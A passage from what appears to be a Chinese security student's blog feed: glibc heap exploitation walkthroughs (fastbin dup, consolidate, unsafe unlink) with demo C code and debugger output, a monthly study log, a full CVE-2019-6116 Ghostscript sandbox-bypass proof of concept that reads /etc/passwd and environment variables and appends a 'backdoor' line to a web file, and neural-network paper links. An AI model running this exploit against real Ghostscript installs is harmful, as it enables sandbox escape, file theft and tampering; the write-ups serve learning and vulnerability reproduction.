fastbins0x20: 0x602000 —▸ 0x602020 ◂— 0x6020000x30: 0x0</code></pre><p>接着malloc一个chunk, 内容为栈地址(stack_var - 0x08)</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x00000000000000210x602010: 0x00007fffffffdd90 0x00000000000000000x602020: 0x0000000000000000 0x00000000000000210x602030: 0x0000000000602000 0x00000000000000000x602040: 0x0000000000000000 0x00000000000000210x602050: 0x4343434343434343 0x00000000000000000x602060: 0x0000000000000000 0x0000000000020fa1</code></pre><p>可以看到, 第一个chunk被重新分配, 并保存了我们的栈顶地址(rsp)</p><p>这也是为什么stack_var被设置为0x21(0x20也可以), 设置一个和之前chunk大小相同的size</p><pre><code>pwndbg> stack00:0000│ rsp 0x7fffffffdd90 ◂— 0x001:0008│ 0x7fffffffdd98 ◂— 0x21 /* '!' */02:0010│ 0x7fffffffdda0 —▸ 0x602010 —▸ 0x7fffffffdd90 ◂— 0x0pwndbg> x/20gx 0x7fffffffdd900x7fffffffdd90: 0x0000000000000000 0x0000000000000021 <------------------ fake chunk0x7fffffffdda0: 0x0000000000602010 0x0000000000602010</code></pre><p>glibc 在执行分配操作时,若块的大小符合 fast bin,则会在对应的 bin 中寻找合适的块,此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引,然后与对应 bin 在 fastbin 中的索引进行比较,如果二者不匹配,则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值。</p><p>glibc 检查代码:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/* offset 2 to use otherwise unindexable first 2 bins */</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> fastbin_index(sz) \</span></span><br><span class="line"> ((((<span class="keyword">unsigned</span> <span class="keyword">int</span>) (sz)) >> (SIZE_SZ == <span class="number">8</span> ? <span class="number">4</span> : <span class="number">3</span>)) - <span class="number">2</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> ((<span class="keyword">unsigned</span> <span class="keyword">long</span>) (nb) <= (<span class="keyword">unsigned</span> <span class="keyword">long</span>) (get_max_fast ()))</span><br><span class="line"> {</span><br><span class="line"> idx = fastbin_index (nb);</span><br><span class="line"> [...]</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (victim != <span class="number">0</span>)</span><br><span class="line"> {</span><br><span class="line"> <span class="keyword">if</span> (__builtin_expect (fastbin_index (chunksize (victim)) != idx, <span class="number">0</span>))</span><br><span class="line"> {</span><br><span class="line"> errstr = <span class="string">"malloc(): memory corruption (fast)"</span>;</span><br><span class="line"> [...]</span><br><span class="line"> }</span><br><span class="line"> [...]</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>由于我们对第一个chunk进行了两次free, 那么在第四次malloc并把栈地址输入进去的时候, 伪造的chunk实际上替代了第二次free第一个malloc的chunk</p><p>这时候的fastbins链表是一个正常的fastbins链表(没有double free的bin)</p><pre><code>pwndbg> fastbins fastbins0x20: 0x602020 —▸ 0x602000 —▸ 0x7fffffffdd90 —▸ 0x602010 ◂— 0x0</code></pre><p>可以看到伪造的chunk已经放在fastbins里了</p><p>我们这时再进行两次malloc, 取出第一次和第二次free的chunk, 将伪造的chunk放在表头</p><pre><code>pwndbg> fastbins fastbins0x20: 0x7fffffffdd90 —▸ 0x602010 ◂— 0x0</code></pre><p>然后malloc一次, 即可在fake chunk处分配内存</p><pre><code>pwndbg> x/20gx 0x7fffffffdd90 (stack)0x7fffffffdd90: 0x0000000000000000 0x00000000000000210x7fffffffdda0: 0x4747474747474747 0x00000000006020100x7fffffffddb0: 0x0000000000602030 0x00000000006020500x7fffffffddc0: 0x0000000000602030 0x00000000006020100x7fffffffddd0: 0x00007fffffffdda0 0x3bfa61ab402a0700</code></pre><h2 id="0x07-fastbin-dup-consolidate"><a href="#0x07-fastbin-dup-consolidate" class="headerlink" title="0x07 fastbin_dup_consolidate"></a>0x07 fastbin_dup_consolidate</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">void</span> *p1 = <span class="built_in">malloc</span>(<span class="number">0x10</span>);</span><br><span class="line"> <span class="keyword">void</span> *p2 = <span class="built_in">malloc</span>(<span class="number">0x10</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(p1, <span class="string">"AAAAAAAA"</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(p2, <span class="string">"BBBBBBBB"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated two fastbins: p1=%p p2=%p\n"</span>, p1, p2);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now free p1!\n"</span>);</span><br><span class="line"> <span class="built_in">free</span>(p1);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span> *p3 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated large bin to trigger malloc_consolidate(): p3=%p\n"</span>, p3);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"In malloc_consolidate(), p1 is moved to the unsorted bin.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="built_in">free</span>(p1);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Trigger the double free vulnerability!\n"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We can pass the check in malloc() since p1 is not fast top.\n"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">void</span> *p4 = <span class="built_in">malloc</span>(<span class="number">0x10</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(p4, <span class="string">"CCCCCCC"</span>);</span><br><span class="line"> <span class="keyword">void</span> *p5 = <span class="built_in">malloc</span>(<span class="number">0x10</span>);</span><br><span class="line"> <span class="built_in">strcpy</span>(p5, <span class="string">"DDDDDDDD"</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n"</span>, p4, p5);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>程序malloc了两个0x10的chunk</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x0000000000000021 <--------------------- p10x602010: 0x4141414141414141 0x00000000000000000x602020: 0x0000000000000000 0x0000000000000021 <--------------------- p20x602030: 0x4242424242424242 0x00000000000000000x602040: 0x0000000000000000 0x0000000000020fc1</code></pre><p>free p1</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x00000000000000210x602010: 0x0000000000000000 0x00000000000000000x602020: 0x0000000000000000 0x00000000000000210x602030: 0x4242424242424242 0x00000000000000000x602040: 0x0000000000000000 0x0000000000020fc1pwndbg> fastbins fastbins0x20: 0x602000 ◂— 0x0</code></pre><p>malloc p3(0x500)</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x00000000000000210x602010: 0x00007ffff7dd1b88 0x00007ffff7dd1b880x602020: 0x0000000000000020 0x00000000000000200x602030: 0x4242424242424242 0x00000000000000000x602040: 0x0000000000000000 0x0000000000000411pwndbg> fastbins fastbins0x20: 0x0pwndbg> smallbins smallbins0x20: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000</code></pre><p>可以看到, malloc了一个0x400的大chunk后, fastbins中保存的p1的chunk消失了</p><p>出现在了smallbins中, 并且chunk p2的size和prev size都被修改了</p><p>large chunk的分配机制:</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> If this is a large request, consolidate fastbins before continuing.</span></span><br><span class="line"><span class="comment"> While it might look excessive to kill all fastbins before</span></span><br><span class="line"><span class="comment"> even seeing if there is space available, this avoids</span></span><br><span class="line"><span class="comment"> fragmentation problems normally associated with fastbins.</span></span><br><span class="line"><span class="comment"> Also, in practice, programs tend to have runs of either small or</span></span><br><span class="line"><span class="comment"> large requests, but less often mixtures, so consolidation is not</span></span><br><span class="line"><span class="comment"> invoked all that often in most programs. And the programs that</span></span><br><span class="line"><span class="comment"> it is called frequently in otherwise tend to fragment.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"> {</span><br><span class="line"> idx = largebin_index (nb);</span><br><span class="line"> <span class="keyword">if</span> (have_fastchunks (av))</span><br><span class="line"> malloc_consolidate (av);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>翻译一哈(google机翻233:</p><pre><code>如果这是一个大内存的分配请求(large chunk),将在继续之前合并fastbins。 虽然在查看是否有可用空间之前杀死所有fastbins可能看起来过多,但这可以避免通常与fastbins相关的碎片问题。此外,在实践中,程序往往会有小型或大型请求,但混合次数较少,因此在大多数程序中通常不会调用整合。 而在其他情况下经常调用的程序往往会碎片化。</code></pre><p>当分配large chunk的时候, 首先根据chunk的大小获得对应的large bin的index</p><pre><code>malloc_state结构体中`mchunkptr bins[NBINS * 2 - 2];`保存了除了fastbin的其他bin即small bin, large bin, unsorted bin, 都使用的是双向链表下标1是unsorted bin, 2~63是small bin, 64~126是large bin</code></pre><p>之后呢, 判断fastbins中是否包含chunk, 如果有的话会调用malloc_consolidate合并fastbins的chunk, 加入到unsorted bins中</p><p>由于我们分配的是一个0x400大小的chunk, 适合small bin( < 512byte)</p><p>所以会从unsorted bin中返回到small bin</p><p>由于此时p1 chunk不在fastbins的表头, 可以再次free</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x00000000000000210x602010: 0x0000000000000000 0x00007ffff7dd1b880x602020: 0x0000000000000020 0x00000000000000200x602030: 0x4242424242424242 0x00000000000000000x602040: 0x0000000000000000 0x0000000000000411pwndbg> fastbins fastbins0x20: 0x602000 ◂— 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x00x80: 0x0pwndbg> smallbins smallbins0x20 [corrupted]FD: 0x602000 ◂— 0x0BK: 0x602000 —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— 0x602000</code></pre><p>一个在fastbins中, 一个在smallbins中. malloc一次并放入字符串CCCCCCC</p><pre><code>0x602000: 0x0000000000000000 0x00000000000000210x602010: 0x0043434343434343 0x00007ffff7dd1b880x602020: 0x0000000000000020 0x00000000000000200x602030: 0x4242424242424242 0x00000000000000000x602040: 0x0000000000000000 0x0000000000000411</code></pre><p>第二次malloc, 放入字符串DDDDDDD</p><pre><code>pwndbg> x/20gx 0x6020000x602000: 0x0000000000000000 0x00000000000000210x602010: 0x4444444444444444 0x00007ffff7dd1b880x602020: 0x0000000000000020 0x00000000000000210x602030: 0x4242424242424242 0x00000000000000000x602040: 0x0000000000000000 0x0000000000000411</code></pre><p>可以看到两次malloc并修改的实际上是同一个chunk</p><h2 id="0x08-unsafe-unlink"><a href="#0x08-unsafe-unlink" class="headerlink" title="0x08 unsafe_unlink"></a>0x08 unsafe_unlink</h2><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdint.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">uint64_t</span> *chunk0_ptr;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> malloc_size = <span class="number">0x80</span>; <span class="comment">// not fastbins</span></span><br><span class="line"> <span class="keyword">int</span> header_size = <span class="number">2</span>;</span><br><span class="line"></span><br><span class="line"> chunk0_ptr = (<span class="keyword">uint64_t</span>*) <span class="built_in">malloc</span>(malloc_size); <span class="comment">//chunk0</span></span><br><span class="line"> <span class="keyword">uint64_t</span> *chunk1_ptr = (<span class="keyword">uint64_t</span>*) <span class="built_in">malloc</span>(malloc_size); <span class="comment">//chunk1</span></span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The global chunk0_ptr is at %p, pointing to %p\n"</span>, &chunk0_ptr, chunk0_ptr);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"The victim chunk we are going to corrupt is at %p\n\n"</span>, chunk1_ptr);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// pass this check: (P->fd->bk != P || P->bk->fd != P) == False</span></span><br><span class="line"> chunk0_ptr[<span class="number">2</span>] = (<span class="keyword">uint64_t</span>) &chunk0_ptr-(<span class="keyword">sizeof</span>(<span class="keyword">uint64_t</span>)*<span class="number">3</span>);</span><br><span class="line"> chunk0_ptr[<span class="number">3</span>] = (<span class="keyword">uint64_t</span>) &chunk0_ptr-(<span class="keyword">sizeof</span>(<span class="keyword">uint64_t</span>)*<span class="number">2</span>);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Fake chunk fd: %p\n"</span>, (<span class="keyword">void</span>*) chunk0_ptr[<span class="number">2</span>]);</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Fake chunk bk: %p\n\n"</span>, (<span class="keyword">void</span>*) chunk0_ptr[<span class="number">3</span>]);</span><br><span class="line"> <span class="comment">// pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False</span></span><br><span class="line"> <span class="comment">// chunk0_ptr[1] = 0x0; // or 0x8, 0x80</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">uint64_t</span> *chunk1_hdr = chunk1_ptr - header_size;</span><br><span class="line"> chunk1_hdr[<span class="number">0</span>] = malloc_size;</span><br><span class="line"> chunk1_hdr[<span class="number">1</span>] &= ~<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// deal with tcache</span></span><br><span class="line"> <span class="comment">// int *a[10];</span></span><br><span class="line"> <span class="comment">// int i;</span></span><br><span class="line"> <span class="comment">// for (i = 0; i < 7; i++) {</span></span><br><span class="line"> <span class="comment">// a[i] = malloc(0x80);</span></span><br><span class="line"> <span class="comment">// }</span></span><br><span class="line"> <span class="comment">// for (i = 0; i < 7; i++) {</span></span><br><span class="line"> <span class="comment">// free(a[i]);</span></span><br><span class="line"> <span class="comment">// }</span></span><br><span class="line"> <span class="built_in">free</span>(chunk1_ptr);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> victim_string[<span class="number">9</span>];</span><br><span class="line"> <span class="built_in">strcpy</span>(victim_string, <span class="string">"AAAAAAAA"</span>);</span><br><span class="line"> chunk0_ptr[<span class="number">3</span>] = (<span class="keyword">uint64_t</span>) victim_string;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Original value: %s\n"</span>, victim_string);</span><br><span class="line"></span><br><span class="line"> chunk0_ptr[<span class="number">0</span>] = <span class="number">0x4242424242424242</span>LL;</span><br><span class="line"> <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"New Value: %s\n"</span>, victim_string);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><pre><code>$ gcc -g unsafe_unlink.c$ ./a.outThe global chunk0_ptr is at 0x601070, pointing to 0x721010The victim chunk we are going to corrupt is at 0x7210a0Fake chunk fd: 0x601058Fake chunk bk: 0x601060Original value: AAAAAAAANew Value: BBBBBBBB</code></pre><p>这个程序展示了怎样利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的,即 unsafe unlink。</p><p>该技术最常见的利用场景是我们有一个可以溢出漏洞和一个全局指针。</p>]]></content>
<tags>
<tag> pwn </tag>
</tags>
</entry>
<entry>
<title>2019年2月总结</title>
<link href="/2019/02/25/2019%E5%B9%B42%E6%9C%88%E6%80%BB%E7%BB%93/"/>
<url>/2019/02/25/2019%E5%B9%B42%E6%9C%88%E6%80%BB%E7%BB%93/</url>
<content type="html"><![CDATA[<p>年前:</p><ol><li>用python完成了一个ctftime的爬虫, 可以指定题目类型, 通过对writeup搜索关键字来找某一类题(eg: fastbin attack)</li><li>搜集了ctftime上的fastbin attack类题目</li><li>参考UCAS Hcaking群的pwntutorialrevisit从头学pwn</li><li>做了一下Codegate CTF 2019的题目</li><li>完善了一下个人博客<br>年后:</li><li>复现了CVE-2019-6116(GhostScript), CVE-2018-20250~3(WinRAR)</li><li>做了HGAME CTF的pwn的部分题目, 对栈的各种花式利用做了一个更深的理解</li><li>简单研究了一下木马免杀</li><li>研究毕业设计(二进制深度神经网络的设计与实现), 找了一些论文和代码</li><li>月赛做了一下乙组的题, 甲组的re1(自动化逆向)研究了一下, 不会做, 其他题目看了一下</li></ol>]]></content>
<tags>
<tag> 总结 </tag>
</tags>
</entry>
<entry>
<title>CVE-2019-6116 GhostScript 沙箱绕过(命令执行)漏洞复现</title>
<link href="/2019/02/20/CVE-2019-6116-GhostScript-%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%EF%BC%88%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
<url>/2019/02/20/CVE-2019-6116-GhostScript-%E6%B2%99%E7%AE%B1%E7%BB%95%E8%BF%87%EF%BC%88%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/</url>
<content type="html"><![CDATA[<h1 id="refer"><a href="#refer" class="headerlink" title="refer:"></a>refer:</h1><p><a href="https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116">https://github.com/vulhub/vulhub/tree/master/ghostscript/CVE-2019-6116</a></p><h1 id="过程"><a href="#过程" class="headerlink" title="过程:"></a>过程:</h1><h1 id="PoC"><a href="#PoC" class="headerlink" title="PoC:"></a>PoC:</h1><figure class="highlight plain"><table><tr><td class="code"><pre><span class="line">%!PS</span><br><span class="line">% extract .actual_pdfpaintproc operator from pdfdict</span><br><span class="line">/.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def</span><br><span class="line"></span><br><span class="line">/exploit {</span><br><span class="line"> (Stage 11: Exploitation...) ==</span><br><span class="line"></span><br><span class="line"> /forceput exch def</span><br><span class="line"></span><br><span class="line"> systemdict /SAFER false forceput</span><br><span class="line"> systemdict /userparams get /PermitFileControl [(*)] forceput</span><br><span class="line"> systemdict /userparams get /PermitFileWriting [(*)] forceput</span><br><span class="line"> systemdict /userparams get /PermitFileReading [(*)] forceput</span><br><span class="line"></span><br><span class="line"> % All done.</span><br><span class="line"> stop</span><br><span class="line">} def</span><br><span class="line"></span><br><span class="line">% setup an error handler to catch ifelse /stackoverflow</span><br><span class="line">errordict /stackoverflow {</span><br><span class="line"> (Stage 10: /stackoverflow) ==</span><br><span class="line"> pop</span><br><span class="line"> % extract saved operand stack</span><br><span class="line"> 0 get</span><br><span class="line"> % get the last parameter</span><br><span class="line"> dup dup length 1 sub get</span><br><span class="line"> ( Last Parameter:) ==only dup ==</span><br><span class="line"> ( Extracting .forceput...) ==</span><br><span class="line"> % This is the else operator to ifelse</span><br><span class="line"> 5 get</span><br><span class="line"> % extract the .forceput</span><br><span class="line"> 7 get</span><br><span class="line"> ( Result:) ==only dup ==</span><br><span class="line"> exploit</span><br><span class="line">} put</span><br><span class="line"></span><br><span class="line">% The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some</span><br><span class="line">% executable errays onto the operand stack that contain .forceput, but are not</span><br><span class="line">% marked as executeonly or pseudo-operators.</span><br><span class="line">%</span><br><span class="line">% The routine was attempting to pass them to ifelse, but we can cause that to</span><br><span class="line">% fail because when the routine was declared, it used `bind` but many of the</span><br><span class="line">% names it uses are not operators and so are just looked up in the dictstack.</span><br><span class="line">%</span><br><span class="line">% This means we can push a dict onto the dictstack and control how the routine</span><br><span class="line">% works.</span><br><span class="line"><<</span><br><span class="line"> /PDFfile { (Stage 0: PDFfile) == currentfile }</span><br><span class="line"> /q { (Stage 1: q) == } % no-op</span><br><span class="line"> /oget { (Stage 3: oget) == pop pop 0 } % clear stack</span><br><span class="line"> /pdfemptycount { (Stage 4: pdfemptycount) == } % no-op</span><br><span class="line"> /gput { (Stage 5: gput) == } % no-op</span><br><span class="line"> /resolvestream { (Stage 6: resolvestream) == } % no-op</span><br><span class="line"> /pdfopdict { (Stage 7: pdfopdict) == } % no-op</span><br><span class="line"> /.pdfruncontext { (Stage 8: .pdfruncontext) == 0 1 mark } % satisfy counttomark and index</span><br><span class="line"> /pdfdict { (Stage 9: pdfdict) ==</span><br><span class="line"> % fill the stack with junk to trigger a /stackoverflow</span><br><span class="line"> 0 1 300051 {} for</span><br><span class="line"> % make sure .knownget doesnt screw up the stack</span><br><span class="line"> << /.Qqwarning_issued true >></span><br><span class="line"> }</span><br><span class="line">>> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop</span><br><span class="line"></span><br><span class="line">( Should now have complete control over ghostscript, attempting to read /etc/passwd...) ==</span><br><span class="line"></span><br><span class="line">% Demonstrate reading a file we shouldnt have access to.</span><br><span class="line">(/etc/passwd) (r) file dup 64 string readline pop == closefile</span><br><span class="line"></span><br><span class="line">% The getenv operator gets removed and we can't get it back, here is a</span><br><span class="line">% replacement.</span><br><span class="line">% (HOME) newgetenv (/path/to/home) true % found</span><br><span class="line">% (foobar) newgetenv false % notfound</span><br><span class="line">/newgetenv {</span><br><span class="line"> % read entire environment into string</span><br><span class="line"> (/proc/self/environ) (r) file dup 32768 string readstring pop exch closefile</span><br><span class="line"></span><br><span class="line"> % search for variable</span><br><span class="line"> exch dup (\0) exch concatstrings (=) concatstrings exch 3 1 roll search not {</span><br><span class="line"> % not found, could be at the start, so no leading nul?</span><br><span class="line"> 1 index (=) concatstrings anchorsearch not {</span><br><span class="line"> (notfound)</span><br><span class="line"> } { pop } ifelse</span><br><span class="line"> } { pop pop } ifelse</span><br><span class="line"></span><br><span class="line"> % remove everything after path, there is always a nul on Linux.</span><br><span class="line"> (\0) search { 4 1 roll pop pop pop true } {</span><br><span class="line"> % must be the notfound string</span><br><span class="line"> pop pop pop false</span><br><span class="line"> } ifelse</span><br><span class="line">} def</span><br><span class="line"></span><br><span class="line">% Here is how to edit .bashrc...</span><br><span class="line">/backdoorbash {</span><br><span class="line"> % now we can append to bashrc</span><br><span class="line"> (HOME) newgetenv pop (/var/www/html/index.php) concatstrings (a) file dup</span><br><span class="line"></span><br><span class="line"> % backdoor</span><br><span class="line"> (echo pwned by postscript\n) writestring</span><br><span class="line"></span><br><span class="line"> % all done</span><br><span class="line"> closefile</span><br><span class="line">} def</span><br><span class="line"></span><br><span class="line">backdoorbash</span><br><span class="line"></span><br><span class="line">(All Done) ==</span><br><span class="line">quit</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> cve </tag>
</tags>
</entry>
<entry>
<title>二进制深度神经网络</title>
<link href="/2019/02/15/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%B7%B1%E5%BA%A6%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/"/>
<url>/2019/02/15/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%B7%B1%E5%BA%A6%E7%A5%9E%E7%BB%8F%E7%BD%91%E7%BB%9C/</url>
<content type="html"><![CDATA[<h1 id="papers"><a href="#papers" class="headerlink" title="papers:"></a>papers:</h1><p><a href="https://arxiv.org/pdf/1602.02830v3.pdf">https://arxiv.org/pdf/1602.02830v3.pdf</a></p><p><a href="http://www.csl.cornell.edu/~zhiruz/pdfs/bnn-fpga2017.pdf">http://www.csl.cornell.edu/~zhiruz/pdfs/bnn-fpga2017.pdf</a></p><p><a href="https://dl.acm.org/citation.cfm?doid=3020078.3021741">https://dl.acm.org/citation.cfm?doid=3020078.3021741</a></p><p><a href="https://arxiv.org/pdf/1808.00278.pdf">https://arxiv.org/pdf/1808.00278.pdf</a></p><p><a href="https://arxiv.org/abs/1711.11294">https://arxiv.org/abs/1711.11294</a><br><a href="https://dl.acm.org/citation.cfm?id=3240673">https://dl.acm.org/citation.cfm?id=3240673</a><br><a href="http://59.80.44.100/delivery.acm.org/10.1145/3310000/3302454/a42-Bai.pdf?ip=111.204.219.198&id=3302454&acc=ACTIVE%20SERVICE&key=33E289E220520BFB%2E99E4F0382D256DD3%2E4D4702B0C3E38B35%2E4D4702B0C3E38B35&__acm__=1550458147_b88e177851fe06d1a9d3bca94f9cf065">http://59.80.44.100/delivery.acm.org/10.1145/3310000/3302454/a42-Bai.pdf?ip=111.204.219.198&id=3302454&acc=ACTIVE%20SERVICE&key=33E289E220520BFB%2E99E4F0382D256DD3%2E4D4702B0C3E38B35%2E4D4702B0C3E38B35&__acm__=1550458147_b88e177851fe06d1a9d3bca94f9cf065</a><br><a href="https://dl.acm.org/citation.cfm?id=3129393">https://dl.acm.org/citation.cfm?id=3129393</a><br><a href="https://arxiv.org/abs/1602.02830">https://arxiv.org/abs/1602.02830</a><br><a href="https://arxiv.org/pdf/1808.00278.pdf">https://arxiv.org/pdf/1808.00278.pdf</a><br><a href="https://arxiv.org/pdf/1603.05279.pdf">https://arxiv.org/pdf/1603.05279.pdf</a></p><p><a href="https://arxiv.org/pdf/1808.00278.pdf">https://arxiv.org/pdf/1808.00278.pdf</a><br><a href="http://120.52.51.13/delivery.acm.org/10.1145/3250000/3240673/p1545-zhao.pdf?ip=111.204.219.198&id=3240673&acc=ACTIVE%20SERVICE&key=33E289E220520BFB%2E99E4F0382D256DD3%2E4D4702B0C3E38B35%2E4D4702B0C3E38B35&__acm__=1552038997_dafa84c3724bdd312a79808a4ae385f3">http://120.52.51.13/delivery.acm.org/10.1145/3250000/3240673/p1545-zhao.pdf?ip=111.204.219.198&id=3240673&acc=ACTIVE%20SERVICE&key=33E289E220520BFB%2E99E4F0382D256DD3%2E4D4702B0C3E38B35%2E4D4702B0C3E38B35&__acm__=1552038997_dafa84c3724bdd312a79808a4ae385f3</a></p><h1 id="github"><a href="#github" class="headerlink" title="github:"></a>github:</h1><p><a href="https://github.com/cornell-zhang/bnn-fpga">https://github.com/cornell-zhang/bnn-fpga</a></p><p><a href="https://github.com/allenai/XNOR-Net">https://github.com/allenai/XNOR-Net</a></p><p><a href="https://github.com/MatthieuCourbariaux/BinaryNet">https://github.com/MatthieuCourbariaux/BinaryNet</a></p><h1 id="other-refer"><a href="#other-refer" class="headerlink" title="other refer:"></a>other refer:</h1><p><a href="https://mp.weixin.qq.com/s/oumf8l28ijYLxc9fge0FMQ">https://mp.weixin.qq.com/s/oumf8l28ijYLxc9fge0FMQ</a></p><p><a href="https://mp.weixin.qq.com/s/tbRj5Wd69n9gvSzW4oKStg">https://mp.weixin.qq.com/s/tbRj5Wd69n9gvSzW4oKStg</a></p><p><a href="https://mp.weixin.qq.com/s/RsZCTqCKwpnjATUFC8da7g">https://mp.weixin.qq.com/s/RsZCTqCKwpnjATUFC8da7g</a></p><p><a href="https://www.chainnews.com/articles/477102982671.htm">https://www.chainnews.com/articles/477102982671.htm</a></p><h1 id="csdn"><a href="#csdn" class="headerlink" title="csdn"></a>csdn</h1><p><a href="https://blog.csdn.net/wangqingbaidu/article/details/52649775">https://blog.csdn.net/wangqingbaidu/article/details/52649775</a></p><p><a href="https://blog.csdn.net/qq_14845119/article/details/84346046">https://blog.csdn.net/qq_14845119/article/details/84346046</a></p><p><a href="https://blog.csdn.net/u014380165/article/details/77731595">https://blog.csdn.net/u014380165/article/details/77731595</a></p><p><a href="https://blog.csdn.net/stdcoutzyx/article/details/50926174">https://blog.csdn.net/stdcoutzyx/article/details/50926174</a></p><p><a href="https://blog.csdn.net/nature553863/article/details/80653521">https://blog.csdn.net/nature553863/article/details/80653521</a></p><p><a href="https://blog.csdn.net/yishuicanhong/column/info/23686">https://blog.csdn.net/yishuicanhong/column/info/23686</a></p><h1 id="methods"><a href="#methods" class="headerlink" title="methods"></a>methods</h1><p>XNOR-Net, Binary-Weight-Networks, BMXNet</p><h1 id="enviroment"><a href="#enviroment" class="headerlink" title="enviroment"></a>enviroment</h1><p>OS: ubuntu 16.04</p><p>github: <a href="https://github.com/Inv0k3r/BinaryNet-1">https://github.com/Inv0k3r/BinaryNet-1</a></p><p><a href="https://github.com/itayhubara/BinaryNet.tf">https://github.com/itayhubara/BinaryNet.tf</a></p><p>Dependencies: </p><ul><li><p>Torch(<a href="http://torch.ch/docs/getting-started.html#_">http://torch.ch/docs/getting-started.html#_</a>)</p><p> git clone <a href="https://github.com/torch/distro.git">https://github.com/torch/distro.git</a> ~/torch —recursive<br> cd ~/torch; bash install-deps;<br> ./install.sh<br> source ~/.bashrc</p></li><li><p>DataProvider.torch</p><p> luarocks install <a 